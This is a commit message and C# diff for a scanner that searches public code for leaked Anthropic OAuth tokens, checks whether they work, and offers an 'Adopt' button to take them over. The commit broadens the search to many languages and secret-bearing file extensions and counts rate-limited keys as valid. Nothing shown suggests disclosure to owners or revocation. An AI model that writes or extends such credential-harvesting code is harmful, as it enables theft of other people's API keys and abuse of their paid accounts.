Key-Scanner: Auth-Header fix, 401-mit-Usage-Handling, breitere Suche, Live-Refresh

- AnthropicKeyChecker: Bearer-Auth + CLI-Header statt x-api-key (identisch mit AnthropicService)
- 401 mit Usage-Headern → 'usage_limited' statt 'invalid' (Key gültig, Limit erreicht)
- Haiku-Phase entfernt, Streaming-Logik entfernt → ein einfacher Request reicht
- KeyScannerService: SearchLanguages 1→13, PathExtensions 24 neue Pfad-Filter
- ApiKeysEndpoint: usage_limited als 'ok' ans Frontend
- Frontend: Adopt-Button auch bei quota_exceeded, Live-Refresh alle 3s während Scan
- CSS: Overflow-Ellipsis für lange URLs in Admin-Listen

Services/KeyScannerService.cs

@@ -40,7 +40,20 @@ public class KeyScannerService : BackgroundService
         (@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01"),
     };
 
-    private static readonly string[] SearchLanguages = { "Dotenv" };
+    private static readonly string[] SearchLanguages =
+    {
+        "Dotenv", "Text", "JavaScript", "Python", "TypeScript",
+        "Dockerfile", "Markdown", "Jupyter Notebook", "Shell",
+        "Java", "Go", "C++", "PHP"
+    };
+
+    private static readonly string[] PathExtensions =
+    {
+        ".env", ".envrc", ".prod", ".secret", ".private", ".key",
+        ".xml", ".json", ".properties", ".sql", ".txt", ".log",
+        ".yml", ".yaml", ".toml", ".ini", ".config", ".conf", ".cfg",
+        ".tmp", ".backup", ".bak", ".enc",
+    };
 
     private const int RateLimitDelayMs = 6_500;
     private const int MaxResultsPerSearch = 1000;
@@ -348,6 +361,11 @@ public class KeyScannerService : BackgroundService
                 var langFilter = lang.Contains(' ') ? $"language:\"{lang}\"" : $"language:{lang}";
                 queries.Add(($"{searchTerm} {langFilter}", regex));
             }
+            
+            foreach (var pathExt in PathExtensions)
+            {
+                queries.Add(($"{searchTerm} path:{pathExt}", regex));
+            }
         }
         return queries;
     }
@@ -359,7 +377,8 @@ public class KeyScannerService : BackgroundService
         try
         {
             var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
-            await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, result.Status == "ok" ? "valid" : result.Status, result.Plan, result.Usage7d, result.Usage5h);
+            var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
+            await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
         }
         catch (Exception ex)
         {